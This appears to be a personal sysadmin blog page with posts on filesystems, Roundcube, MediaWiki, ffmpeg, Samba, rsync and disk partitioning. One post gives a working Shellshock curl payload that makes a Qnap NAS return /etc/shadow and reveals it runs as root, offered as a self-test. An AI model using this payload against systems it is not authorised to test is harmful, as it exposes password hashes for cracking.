Sunday, September 17, 2017

Hard drive partitions and file system essentials v2

What most normal users need to know about hard disk partitions and filesystems to be able to move hard disks between various operating systems like Mac or Windows.


Hard disks contain 1 or more partitions. To the user, each partition appears as if it were a separate hard disk.
(In Windows, each partition receives a separate drive letter like C:, D:, etc.; on a Mac and most Linux, you see a separate icon on the desktop for each partition, and the contents is accessible in a folder like /Volumes/YourDiskName.)
The disk contains a partition table which describes the size and placement of the partitions on the disk. There are 2 main types of partition tables:

  • MBR or DOS : supported everywhere, but only for disks up to 2 TB.
  • GPT or GUID : for disks over 2 TB and for Mac OS X boot disks.


Every partition needs to be formatted with a file system to let the operating system store and retrieve files. (On Mac, this formatting process is called "erasing")
There are many different types of file systems. Your system needs to understand these file systems to be able to use them. Unfortunately, various operating systems use different file systems. The problem is to find which one will be understood by all the systems you intend to connect your drive to. Also, some systems only support reading some file systems, not writing to them.


Below is a table trying to summarize the compatibility between the 3 main operating systems and the 5 main file system types. There are many others, but if you know about them, you probably don't need this page.
WindowsMac OS XLinux
FAT32 or DOSNative support
Max. 4GB. file size!
Max. 4GB. file size!
Max. 4GB. file size!
NTFSNative supportRead only. Write support through additional software 1Read/Write on recent distributions.
HFS+ or "Mac OS extended"Requires third party programs for reading and writing. 2Native supportRead only. Write if forced or  journaling feature disabled. 3
ExfatNative support since Windows Vista/7Native support since 10.6.5Needs driver install
Ext2 or Ext3Requires driver 4Requires driver. 4Native support
FAT or FAT32 (named "MS-DOS" in Macs)
This the oldest of the file systems commonly used today. As such, it has the greatest compatibility and the least functionality. It is a sort of lowest common denominator. All operating systems can read and write to it. It is the file system generally used on USB flash drives, memory cards for photo cameras, etc. It cannot store files greater than 4 Gigabytes. It is also the least reliable of the current file systems, and has many other drawbacks (fragmentation, no support for permission, time stamps in local time, etc.)
The Windows disk manager refuses to format a FAT32 partition greater than 32 GB. But it can be formatted to the wanted size on Mac or Linux, or with the free fat32format utilityin Windows.
Is the native file system of Windows. Macs can read it, but cannot write to it. However, there is a Mac version of the open source NTFS-3G driver which can write to NTFS. 1Recent Linux versions can both read it and write to it (thes usually have this NTFS-3G driver installed by default). 2
HFS aka. "Mac OS X" HFS+ aka. "Mac OS X Extended (journaled)"
Is the native file system on Macs.The Mac default is the HFS+ journaled variant. Windows needs special programs installed to be able to read or write it. 3Linux can read it when it has the hfsutils package installed. It can also write to it if journaling has been disabled. 4
Meant to replace FAT32 on digital cameras etc. Supports files greater than 4GB, but not as feature-rich and reliable as the others.
Ext2 or Ext3
Is the official standard for DCP disks and the most common file system on Linux. You could try some Windows or Mac driver, but it's probably much easier to install Linux on some old machine and access it through the network.
And what about UDF, the "Universal Disk Format" which is even a true ISO standard? It is used on professional camera cards and on Blu-ray disks, and can in theory be read and written by all 3 current systems. But in practice, this is only true if it is correctly formatted. And since the normal formatting tools in Mac and Windows don't offer it as an option, I would only recommend it to geeks willing to use this command-line formatting script.
1. Mac -> NTFS: To enable writing of NTFS on a Mac, you need a commercial program like Paragon or Tuxera.
2. Windows -> HFS: If you only need to copy files from a Mac disk to your Windows machine, you can use the free HFSExplorer, which will open your drive in a Windows Explorer-like window and let you copy files from there. For full support, you may need commercial software like MacDrive or Paragon.
3. Linux -> HFS: If you need to write to the HFS disk, journaling must be disabled on a Mac first (through Disk Utility or diskutil disableJournal "/Volumes/YOUR_VOLUME_NAME"in Terminal). Alternatively, you can force the mount point to be writable.
4. Windows/Mac -> ext2/3/4: There are various free drivers for Windows and Mac, but when I tried them a few years ago, they were probematic. There is also a commercial driver from Paragon which I haven't tried. But really, a Linux machine on the network is so much easier.

Sunday, December 20, 2015

Firefox 43 crashes. Install previous version in Ubuntu

Since Firefox was upgraded to version 43 on my Ubuntu 12.04 LTS machine, it "reliably" crashed on some pages. The easiest example being, but many other pages also.

After trying many things which didn't work (disabling all extensions, all plugins, creating a fresh new profile), I decided to downgrade Firefox to the previous version.

But the previous version is hard to find!

The normal repository only contains version 43 for Ubuntu 12.04. The other versions in that folder cannot be installed because they depend on later versions of my libraries...

Finally, Google found me the previous version with this search:

Which led me to

The rest is easy:

Remove firefox (not "purge" as is often recommended, because that may remove your profile with all your bookmarks, extensions, settings, etc.!)

sudo apt-get remove firefox

Get and install the wanted version:

cd /tmp
wget ""
sudo dpkg -i firefox_42.0+build2-0ubuntu0.12.04.1_amd64.deb

Prevent future upgrades (but also prevents security upgrades!)

sudo apt-mark hold firefox

It may be time to look for a better browser than Firefox, but in the meantime, this works


Thursday, November 26, 2015

Roundcube webmail with SQLite on Debian

Roundcube is not available through apt-get in Debian 8 (Jessie), and the version which is in Debian 7 (Wheezy) is outdated. However, installing directly from the source is very easy.

I used SQLite, because these servers will only occasionally serve a few users for single domains. So a full database server seemed overkill. I selected /opt/roundcube as my install dir.

mkdir $rcdir
cd $rcdir

Check the latest version on the "Roundcube Webmail Downloads". As of November 2015, the version was 1.1.3. Copy the link for the "Complete" download.


Uncompress, copy out of the version-specific folder, and rename the original folder in case you need it.

tar xvf roundcubemail-$version-complete.tar.gz
rm roundcubemail-$version-complete.tar.gz
cp -rp roundcubemail-$version/* ./
mv roundcubemail-$version roundcubemail-$version.orig

Install dependencies

apt-get install php5 php-pear php5-sqlite

Initialize database

mkdir db
sqlite3 -init SQL/sqlite.initial.sql db/roundcube.sqlite

You will be left at the sqlite prompt. Type ".quit".

# sqlite3 -init SQL/sqlite.initial.sql db/roundcube.sqlite
 -- Loading resources from SQL/sqlite.initial.sql

 SQLite version 3.7.13 2012-06-11 02:05:22
 Enter ".help" for instructions
 Enter SQL statements terminated with a ";"
 sqlite> .quit

Set permissions

chown -R www-data:www-data temp logs db
chmod -R 775 db
Edit the Apache config file with your favorite editor. (I suggest mcedit or nano)
$EDITOR /etc/apache2/sites-available/webmail.conf

<VirtualHost *:80>
  RedirectPermanent /

<VirtualHost *:443>

  SSLEngine on
  SSLProtocol all -SSLv2 -SSLv3
  SSLCACertificateFile   /etc/ssl/example.com_selfsigned_CA.pem
  SSLCertificateFile     /etc/ssl/example.com_web.pem
  SSLCertificateKeyFile  /etc/ssl/private/example.com_web.key


  DocumentRoot /opt/roundcube

  CustomLog /var/log/apache2/roundcube-access.log combined3

  <Directory /opt/roundcube/>
    Options +FollowSymLinks
    AllowOverride All
    Order allow,deny
    Allow from all

  <Directory /opt/roundcube/config>
    Options -FollowSymLinks
    AllowOverride None

  <Directory /opt/roundcube/temp>
    Options -FollowSymLinks
    AllowOverride None
    Order allow,deny
    Deny from all

  <Directory /opt/roundcube/logs>
    Options -FollowSymLinks
    AllowOverride None
    Order allow,deny
    Deny from all

You may also need to add NameVirtualHost *:443 to /etc/apache2/ports.conf

Check the Apache config. and reload

a2ensite webmail
apache2ctl -S
apache2ctl graceful

Edit the Roundcube config file.

cd $rcdir/config
cp -pf

Change these:

$config['db_dsnw'] = 'sqlite:////opt/roundcube/db/roundcube.sqlite?mode=0646';
  $config['smtp_server'] = 'localhost';

And add this:

$config['mail_domain'] = '%d'; # let new users get the right domain instead of the default "user@localhost"

If needed, see also the Roundcube Wiki.

Saturday, September 27, 2014

Using curl to test Qnap NAS for Shellshock

The following briefly appeared in a Qnap forum, but was apparently quickly removed.

Since I feel it's a useful test, here it is:

Fun Shellshock test with curl

Testing your NAS for the Shellshock vulnerability with curl:

NAS_IP=192.168.1.XXX    # Use the IP or the name of your NAS

curl -A "() { :; }; echo Content-Type: text/plain; echo; echo; cat /etc/shadow" $URL

And enjoy the output of your users and crypted passwords in a format almost ready to be fed to John The Ripper:


(The password hashes have been redacted in this output of course)

If your NAS can be reached from the Internet, you better disconnect it now...

What this also shows is that the NAS http server appears to be running as root, since the /etc/shadow file should only be readable by root!

And indeed:

$ curl -A "() { :; }; echo Content-Type: text/plain; echo; echo; id" $URL

uid=0(admin) gid=0(administrators) groups=0(administrators),100(everyone)

this shows the id of the web server process as "admin", with UID 0 and GID 0. So it's really running as root, which is certainly very helpful for NAS-hackers.

Thursday, May 15, 2014

Bootcamp adventures

I needed to replace a drive in a Mac mini with a bigger one. The drive had Mac OS X 10.9 (Mavericks) and Bootcamp with Windows 7. After using Clonezilla to backup the drive and restore it to the bigger one, the partitions were obviously still the same size. There was just a lot of free unpartitioned space at the end of the new drive.

How to resize and move all the partitions (including the hidden EFI and Recovery partitions), to fill the free space?

Disk Utility will not let you touch the Bootcamp partition. Windows 7 looked like it could resize it, but not move it. Resizing it with Win7 created a mess: the Mac would still see the original size.

The heart of the problem seems to be that the Mac wants a GPT partition table, but for Bootcamp, it creates a hybrid MBR partition which is what Win7 sees. Win7 would have no problem with a GPT-only partition, but Bootcamp makes a hybrid MBR anyway. Win7 then resizes that MBR partition, but doesn't update the GPT partition table, which is what the Mac sees. And the Mac doesn't let you fix it either.

At this point, I tried Gparted, but it wouldn't touch this mess (giving some error which I forgot).

Paragon's Camptune X looked like the best solution. However, after paying $20 for it, it turned out it couldn't do anything either. All it does is to let you move a cursor for the relative sizes of the Mac and Windows partitions. But you cannot increase the size to use the free space.

Finally, Rod Smith's Gdisk saved the day again.

What I ended up doing worked in the end:

  • Booted a Gparted USB key, and resized the Windows partition to fill the entire disk.
  • Booted to Mac, and used Camptune X to enlarge the Mac partition while reducing the Windows one.
  • Now, Windows would not boot.
  • Used gdisk to re-create the hybrid MBR, and mark the Windows partition as bootable, as explained in detail in this post.

Labels: , , , , ,

Monday, August 12, 2013

ffmpeg burnt-in timecode

Burning-in timecode is easy in Avid or Final Cut, but if for any reason you need to do it the hard way with command-line ffmpeg, here is how.

To not make it harder than necessary, there are links to pre-compiled versions of ffmpeg on their download page. For Mac OS X, as of August 2013, there were these 2 versions:

  •, which unfortunately didn't have the needed filter. It would give the error
    "AVFilterGraph ...] No such filter: 'drawtext'".
  • the version 2.0.1 built by Helmut Tessarek worked fine. Unfortunately, it is compressed with 7-zip, so you may need to get a decompressor first. I used Keka (not open source, but free).

Below is the command I used to quickly encode Sony mpeg2 MXF files into H264 Quicktimes, preserving the original timecode in the QT TC track (ffmpeg does this automatically), and also burning it into the picture.

Since the command itself is quite awful, it is best to predefine variables, so that the long command itself can be copy/pasted directly, without further editing, or at least not too much...

# set variables for the input and output files:


# the timecode rate must be set. Should be identical to the FPS.


# select a monospaced font file on your machine. On Linux, try:


# or on Mac:

font="/Library/Fonts/Andale Mono.ttf"

# size and position:

position="x=w-text_w-(text_w/6):y=text_h" # top right

# For bottom right, try this instead: position="x=(w-tw)/2: y=h-(2*lh)"

# get the timecode, and escape the ":" to be able to use it in the burn-in filter

timecode=$( ffmpeg -i "$in" 2>&1 | awk '$1 ~ /^timecode/ {print $NF}' )

# To test encoding only the first x seconds, use:

test_secs="-t 20"

# or for the whole video, leave this empty:


# quality/size/speed : (try crf between 18 and 25? lower is better quality and bigger file.)

preset=ultrafast # (superfast, fast, slow, ...)

# And finally (with de-interlacing and without scaling):

ffmpeg -threads 0 -i "$in" $test_secs -acodec copy -vcodec libx264 -preset $preset -crf $crf -deinterlace -vf "drawtext=fontfile=$font: timecode='$tc_escaped': r=$tc_rate: $position: fontcolor=white: fontsize=$fontsize: box=1: boxcolor=black@0.2" "$out"

or to keep only video with audio channel 1 (throwing away audio channels 2, etc. ):

ffmpeg -threads 0 -i "$in" $test_secs -map 0:0 -map 0:1 -acodec copy -vcodec libx264 -preset $preset -crf $crf -deinterlace -vf "drawtext=fontfile=$font: timecode='$tc_escaped': r=$tc_rate: $position: fontcolor=white: fontsize=$fontsize: box=1: boxcolor=black@0.2" "$out"


Labels: , ,

Wednesday, May 22, 2013

Windows 7 profile trouble

Event ID 1511: Windows cannot find the local profile and is logging you on with a temporary profile. Changes you make to this profile will be lost when you log off.


Event ID 1521: Windows cannot locate the server copy of your roaming profile and is attempting to log you on with your local profile. Changes to the profile will not be copied to the server when you log off. This error may be caused by network problems or insufficient security rights.

  • Login as a different user (with admin rights)
  • Under HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList, find Keys named SID.bak (like "S-1-5-21-4129847285-3583514821-2567293568-1001.bak")
  • Delete them
  • If needed, delete C:\Users\USERNAME

This seems to happen when a machine on the network thinks it is the domain master browser and convinces the real PDC of it. I have seen it happen with a Mac (10.6.8), and with a new NAS. They were both running Samba (just like the actual PDC which is a Debian Samba server).

To prevent Samba on these machines to try to become domain master browsers, add this to the [global] section of /etc/smb.conf (or /etc/samba/smb.conf, or whatever it is on your machine):

os level = 1
lm announce = No
preferred master = No
local master = No
domain master = No

Maybe "os level = 1" is exaggerated, but I used that anyway. The "local master = no" setting doesn't get activated on the Mac (testparm -sv | grep master still shows it set to Yes), but it works anyway now.

To check the master browser from Linux or Mac: nmblookup -M YOURDOMAIN or nmblookup -M -- - for all, which may show others which are not in the same domain/workgroup.

Labels: , , , ,

Saturday, May 11, 2013

Mediawiki with Postgres on Debian

A short guide to install Mediawiki on Debian with PostgreSQL 9.1.With a fix for this error:

"Attempting to connect to database "postgres" as superuser "postgres"... error: No database connection"

Installing packages

The server is still using Debian Squeeze, but I expect it would quite the same for the new Debian Wheezy. Here I used squeeze-backports.

 Add the backports repository if needed:

echo "deb squeeze-backports main contrib non-free" >> /etc/apt/sources.list

Install everything:

apt-get update
apt-get -t squeeze-backports install apache2 postgresql-9.1 postgresql-contrib php5-pgsql
apt-get -t squeeze-backports install imagemagick libdbd-pg-perl
apt-get -t squeeze-backports install mediawiki

I use a separate IP for the wiki, so need to add it to the interface:

mcedit /etc/network/interfaces
# wiki on it's own IP
auto eth0:3
iface eth0:3 inet static

/etc/init.d/networking restart

Apache configuration

# I use the mod_rewrite module in Apache
a2enmod rewrite

# I prefer the config file in sites-enabled
# (but it's really just a symlink to /etc/mediawiki/apache.conf):
mv /etc/apache2/conf.d/mediawiki.conf /etc/apache2/sites-enabled

My virtual host config:

<VirtualHost *:80>
    ServerName wiki.example.lan
    ServerAlias wiki.example.lan
    DocumentRoot /docs/www-wiki

    ErrorLog /var/log/apache2/wiki-error.log
    CustomLog /var/log/apache2/wiki-access.log combined

    ServerSignature On

    Alias /icons/ "/usr/share/apache2/icons/"

    RewriteEngine On
    RewriteRule ^/w(iki)?/(.*)$  http://%{HTTP_HOST}/index.php/$2 [L,NC]

    <Directory /docs/www-wiki/>
        Options +FollowSymLinks
        AllowOverride All
        # Default is Deny. Exceptions listed below with "Allow ...":
        Order Deny,Allow
        Deny from All
        Satisfy any
        # LAN
        Allow from
        # VPN
        Allow from

# If using LDAP
#        AuthType Basic
#        AuthName "Example Wiki. Requires user name and password"
#        AuthBasicProvider ldap
#        AuthzLDAPAuthoritative on
#        AuthLDAPURL ldap://localhost:389/ou=People,dc=example,dc=lan?uid
#        AuthLDAPGroupAttribute memberUid
#        AuthLDAPGroupAttributeIsDN off
#        Require ldap-group cn=users,ou=Groups,dc=example,dc=lan

    # some directories must be protected
    <Directory /docs/www-wiki/config>
        Options -FollowSymLinks
        AllowOverride None

    <Directory /docs/www-wiki/upload>
        Options -FollowSymLinks
        AllowOverride None

    <Directory "/usr/share/apache2/icons">
        Options Indexes MultiViews
        AllowOverride None
        Order allow,deny
        Allow from all

Moving files

I used a directory other than the default /var/lib/mediawiki. So I had to move things over:

cp -rp /var/lib/mediawiki /docs/www-wiki

The only tricky part, with the fix:

Before starting the web configurator in http://wiki.example.lan/config/ you need to define a password for the "postgres" database user. Mediawiki will start the psql client as the www-data system user, but with the -U argument to set the user to "postgres". Even if you defined a password for the system user "postgres", this is not the password of the database user "postgres".

So you need to start psql as the postgres system user, which you can do as root using sudo -c, and then set the password inside the psql client:

sudo -u postgres psql
psql (9.1.9)
Type "help" for help.

postgres=# \password
Enter new password:
Enter it again:
postgres=# \q

If you don't do this, the Mediawiki config will end with this error:

Attempting to connect to database "postgres" as superuser "postgres"... error: No database connection

And a big pink and unhelpful error box below.

The Postgresql log (tail /var/log/postgresql/postgresql-9.1-main.log) will show:

FATAL:  password authentication failed for user "postgres"


Now you just have to move LocalSettings.php to /etc/mediawiki/.

And if you used a different install root, you have to edit it to change the MW_INSTALL_PATH:


Labels: , , , , , , , ,

Thursday, January 31, 2013

rsync server daemon on Mac OS X with launchctl

There are many web pages describing how to enable the rsync daemon on Mac OS X using launchd/launchctl mechanism. But I had to use a different (and simpler) plist file in LaunchDaemons to make it work across reboots on Lion (10.7.4).

(I started by following this guide , and this very similar one. And I also read this and this. In the end, what helped me getting the plist file right was this thread. Particularly this post: "For one you have both a Program and a ProgramArguments key, when you should have only one or the other (you use Program if there is just one element to the command, or ProgramArguments if there are multiple." And this one.)

This is the .plist file I used in /Library/LaunchDaemons/org.samba.rsync.plist : 

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "">
<plist version="1.0">

This is an example /etc/rsyncd.conf file:

secrets file = /etc/rsyncd.secrets
hosts allow = *.cust.isp.tld

pid file = /var/run/
uid = nobody
gid = nobody
list = yes
read only = yes

path = /Users/Shared
comment = Users-Shared
uid = someuser
gid = admin
auth users = user_in_secrets

The file /etc/rsyncd.secrets looks like:


To install it:

sudo -s
chown root:wheel /etc/rsyncd.*
chmod 644 /etc/rsyncd.conf
chmod 600 /etc/rsyncd.secrets
launchctl load /Library/LaunchDaemons/org.samba.rsync.plist
launchctl start org.samba.rsync ## (this last command is probably unneeded)

To check if it is installed and running:

launchctl list | grep rsync
808  -    0x7fddb4806c10.anonymous.rsync
-    0    org.samba.rsync

ps ax | grep [r]sync
  808   ??  Ss     0:00.00 /usr/bin/rsync --daemon

rsync --stats someuser@localhost::

To remove it:

sudo launchctl unload /Library/LaunchDaemons/org.samba.rsync.plist
sudo killall rsync

For logging transfers, add

log file = /var/log/rsyncd.log
transfer logging = yes

to /etc/rsyncd.conf. And to have the log rotated, create a file like /etc/newsyslog.d/rsyncd.conf and add

# logfilename          [owner:group]    mode count size when  flags [/pid_file] [sig_num]
/var/log/rsyncd.log   644  5    5000 *     J


Labels: , , ,

Sunday, January 06, 2013

scripting disk partitionning in Linux - take 2

It is possible to use parted to script/automate disk partitioning in Linux, as described in "Command-line partitioning and formatting".

Another way is to use sgdisk from the GPT fdisk programs.

In Debian and derivatives, it can be installed with sudo apt-get install gdisk.

The current version 0.8.1 from the Ubuntu 12.04 repository would partition only the first 2TB of a 4 TB. disk. So you may need to get a more recent version from the downloads page. I got version 0.8.5 for x64, and that worked very well.

The following will create and format a single NTFS partition on an entire drive:

disk=/dev/sdb            # Make sure you got this right !!
echo "disk $disk will be completely erased."

sudo sgdisk -Z $disk
sudo sgdisk --new=0:0:-8M -t 1:0700 $disk
sudo sgdisk -p $disk
sudo mkntfs --verbose --fast --label "$label" --no-indexing --with-uuid ${disk}1

-Z removes any left-over partitions

--new=0:0:-8M creates a single partition from the start of the disk to 8MB before the end (just in case it's useful to not end on the very last sector)

-t 1:0700 sets the first partition we just created to type "Microsoft Basic Partition", which is the type we want for a simple NTFS partition. Linux would be -t 1:8300. Use sgdisk -L to get a list of partition types.

Note that for comfortable (and safer) manual partitioning, there is also cgdisk. It is like the old cfdisk, but works with new disks over 2TB.

Labels: , , , , , , , ,